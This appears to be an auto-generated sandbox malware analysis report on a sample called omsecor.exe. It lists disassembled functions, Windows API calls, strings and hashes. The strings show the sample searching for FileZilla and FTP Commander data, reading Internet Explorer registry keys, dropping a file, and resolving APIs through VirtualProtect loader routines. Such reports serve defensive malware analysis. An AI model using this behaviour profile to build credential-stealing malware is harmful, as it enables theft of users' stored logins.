Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407D86
x, xrefs: 00407DEF

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 004040E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 0040413A

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

*filezilla*, xrefs: 004040F6
&, xrefs: 00404110
#, xrefs: 0040411E

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$*filezilla*
API String ID: 3438805939-758400021
Opcode ID: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction ID: af0dd5899ef73ee7264a7e51d90439c8fcf38b6470501fb51340e8e2557856c3
Opcode Fuzzy Hash: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction Fuzzy Hash: 8E1151B2901128BADB10EA92DC49EDF7BBCEF85304F00407AF605B6080E7385785CBE9

Function 00404A92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 00404AE5

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

ftp*commander*, xrefs: 00404AA1
#, xrefs: 00404AC9
&, xrefs: 00404ABB

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$ftp*commander*
API String ID: 3438805939-1149875651
Opcode ID: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction ID: 4761086559ade70d73b1403ca51e5d3bc462c500c99379e4fd01d7d946a964d6
Opcode Fuzzy Hash: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction Fuzzy Hash: B61121B2901118BADB10AA92DC49EDF7F7CEF85704F00407AF609B6180E7799785CBA9

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

_blank, xrefs: 0040948E
an.yandex.ru/count, xrefs: 00409478

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00409808 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"encrypted", xrefs: 00409815
"URL", xrefs: 00409838

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "URL"$"encrypted"
API String ID: 2525500382-4151690107
Opcode ID: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction ID: 961e294ab5ae80d7ab2f0271a6faa46f3ea3f555f1d55132cdad114d364c87da
Opcode Fuzzy Hash: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction Fuzzy Hash: 62F0D671A0021DA7CF00AB69CC01FD637ECAB4438CF1484B6F904F32C1E974EA098B98

Function 0040978D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"domain", xrefs: 004097BD
"url", xrefs: 0040979A

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "domain"$"url"
API String ID: 2525500382-2438671658
Opcode ID: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction ID: 610bf4d9b2292206f8ef054453b19a236663fc5a2da35db14ea77673b97cd822
Opcode Fuzzy Hash: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction Fuzzy Hash: 08F0A271A0021DA6CF41AAA9CC05FD637E8AB44348F1444B6F908F7281EA78EA188B94

Function 00406C77 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000,?,?,00402C77), ref: 00406C91

Strings

Build, xrefs: 00406CA6
SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87
w,@, xrefs: 00406CA0

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer$w,@
API String ID: 71445658-3061378640
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Function 0040848F Relevance: 6.1, APIs: 4, Instructions: 81memoryregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

Part of subcall function 0040845D: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000008,00000000,?,?,004084C5,?,?,?,00000008,?,00403796,?), ref: 00408475
Part of subcall function 0040845D: RegCloseKey.ADVAPI32(?,?,004084C5,?,?,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408484

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408524
GetProcessHeap.KERNEL32(00000000,00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408534
HeapFree.KERNEL32(00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 0040853B

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CloseEnvironmentExpandFreeOpenProcessQueryStringsValue
String ID:
API String ID: 3604167287-0
Opcode ID: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction ID: 704a8cbe2313c99ccb7bf4cac6d27c9c5720caa44ca6f9902b9fd9ccb38d811f
Opcode Fuzzy Hash: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction Fuzzy Hash: 0521C871900626BBDF205B748E45ABF3668EF05328F10063EF561F22D0EB758D508658

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(00408E44,00000000,00000000,?,00408E44,00408795), ref: 004095A4
CharLowerW.USER32(00408795), ref: 004095D8
SysFreeString.OLEAUT32(00408795), ref: 00409608
SysFreeString.OLEAUT32(00408E44), ref: 0040960D

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 00408091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081A3

Strings

-, xrefs: 00408140

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: -
API String ID: 885266447-2547889144
Opcode ID: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction ID: cbf3f064ca1262f0759db58cdf0f181467b31290bd4ebff5f053a9a619aca6df
Opcode Fuzzy Hash: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction Fuzzy Hash: 58415D31D0422699CB2177B98E417BB61A9DF44758F1440BFF9C0B72C2EEBC5D8581AE

Analysis Process: omsecor.exePID: 8132, Parent PID: 8100COMMON

Executed Functions

Function 004012C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(ks clku .d,254B559C), ref: 004012DD

Part of subcall function 00401080: GetTickCount.KERNEL32 ref: 00401096
Part of subcall function 00401080: GetDesktopWindow.USER32 ref: 004010B8
Part of subcall function 00401080: GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
Part of subcall function 00401080: GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?), ref: 0040114B
Part of subcall function 00401080: GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
Part of subcall function 00401080: GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

ks clku .d, xrefs: 004012D8

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopFileFindFirstGlobalNameTickTimesWindow
String ID: ks clku .d
API String ID: 973805369-4096487313
Opcode ID: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction ID: 8201e92c16030f82e268503128fd01f75d7624b5287a074f0a6a6b49dcde2be8
Opcode Fuzzy Hash: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction Fuzzy Hash: 13C012701042448FC330AF24DE0ABAA37E4AB48300F00093AA5E8E60A4DA3455598A8A

Function 00401080 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 156
memorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00401096
GetDesktopWindow.USER32 ref: 004010B8
GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
GetCurrentProcess.KERNEL32(?), ref: 0040114B
GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp, xrefs: 00401131

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopGlobalNameTickTimesWindow
String ID: cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp
API String ID: 509927810-2920797944
Opcode ID: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction ID: 30898c1c04428891cb82ceb7e239a2b08516cd6c9376f1465321758e23d54b14
Opcode Fuzzy Hash: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction Fuzzy Hash: E55127F1D041744BDB288B298D54BB9BBF5ABC5305F0881BEE689B7381D5385A48CF28

Function 00407A98 Relevance: 9.1, APIs: 6, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407AB5: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction ID: 53099f65029657388ac4b193d9ffb221688749bb3c6439a8311ebbe5e3b7996f
Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction Fuzzy Hash: B501CC00F4D24539DA2051754C0197F7AA89A533687141677A111B72D3D9BCBE0692BF

Function 00407A59 Relevance: 7.6, APIs: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407A98: GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
Part of subcall function 00407A98: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction ID: 8932c9a1b40894ead954c0166dfb712feb6fdadac19e13bdf209ed336a7ac0e8
Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction Fuzzy Hash: DE21F621A4D2416EEB2186B44C0166B7BE49B13368F1946A7D141EB2C3D1BC7D4687AB

Function 00407AB5 Relevance: 7.6, APIs: 5, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID:
API String ID: 2152742572-0
Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction ID: 39b30828dda2cca0c429c80848ec8113aa03dbdf6ed959677c669bf53de2d5ad
Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction Fuzzy Hash: 98F0F400E8D2043CEE2151B40C01ABBBBEC86633687241A27A211E72C3D4BC7E0692BB

Function 00402F3E Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,004017AC,00000001), ref: 00402F4F
HeapDestroy.KERNEL32 ref: 00402F85

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction ID: 98ebcd61208b82bef51758d9ec37e8992e6abd11400b15b10fa3614edeb5f36b
Opcode Fuzzy Hash: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction Fuzzy Hash: D3E092706643029EEB40AB31AF0D72636E4E74078AF10843BF548F51E2EBBC8605AF4C

Non-executed Functions

Function 00401662 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004020B3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004020C8
UnhandledExceptionFilter.KERNEL32(00408204), ref: 004020D3
GetCurrentProcess.KERNEL32(C0000409), ref: 004020EF
TerminateProcess.KERNEL32(00000000), ref: 004020F6

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction ID: b20ca496c67c0111f9bdb02fdd2caa8760b953d18a2e8655b2b95bf976f6fc72
Opcode Fuzzy Hash: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction Fuzzy Hash: 5321AEB5950304DFC710EF24EF48A453BB5BF88306F10403AE549B36A1E7B859A59F9E

Function 00402465 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcpy_s.LIBCMT ref: 004024D1
__invoke_watson.LIBCMT ref: 004024E2
GetModuleFileNameA.KERNEL32(00000000,0040B091,00000104), ref: 004024FE
_strcpy_s.LIBCMT ref: 00402513
__invoke_watson.LIBCMT ref: 00402526
_strlen.LIBCMT ref: 0040252F
_strlen.LIBCMT ref: 0040253C
__invoke_watson.LIBCMT ref: 00402569
_strcat_s.LIBCMT ref: 0040257C
__invoke_watson.LIBCMT ref: 0040258D
_strcat_s.LIBCMT ref: 0040259E
__invoke_watson.LIBCMT ref: 004025AF
GetStdHandle.KERNEL32(000000F4,?,?,00000000,77735E70,00000003,00402631,000000FC,0040667C,00000001,00000000,00000000,?,00403FFF,?,00000001), ref: 004025CE
_strlen.LIBCMT ref: 004025EF
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,00403FFF,?,00000001,?,00403478,00000018,004093D0,0000000C,00403507,?), ref: 004025F9

Strings

Runtime Error!Program: , xrefs: 004024C0
Microsoft Visual C++ Runtime Library, xrefs: 004025BC
..., xrefs: 0040254D
<program name unknown>, xrefs: 00402508

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 1879448924-4022980321
Opcode ID: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction ID: 3ad8829dabe9c8e6b7970468b651ade891dcb41a26c93daa50347fadcc2e15d8
Opcode Fuzzy Hash: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction Fuzzy Hash: CF3127B2A402153AE62136326F5EF2F314C9B91315F14013BFE09B26D6FABD9A1441FE

Function 00401E76 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,004017BE), ref: 00401E7C
__mtterm.LIBCMT ref: 00401E88

Part of subcall function 00401BCA: TlsFree.KERNEL32(00000002,00401FF5), ref: 00401BF5
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000000), ref: 004033DC
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000002), ref: 00403406

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00401E9E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00401EAB
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00401EB8
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00401EC5
TlsAlloc.KERNEL32 ref: 00401F15
TlsSetValue.KERNEL32(00000000), ref: 00401F30
__init_pointers.LIBCMT ref: 00401F3A
__calloc_crt.LIBCMT ref: 00401FAF
GetCurrentThreadId.KERNEL32 ref: 00401FDF

Strings

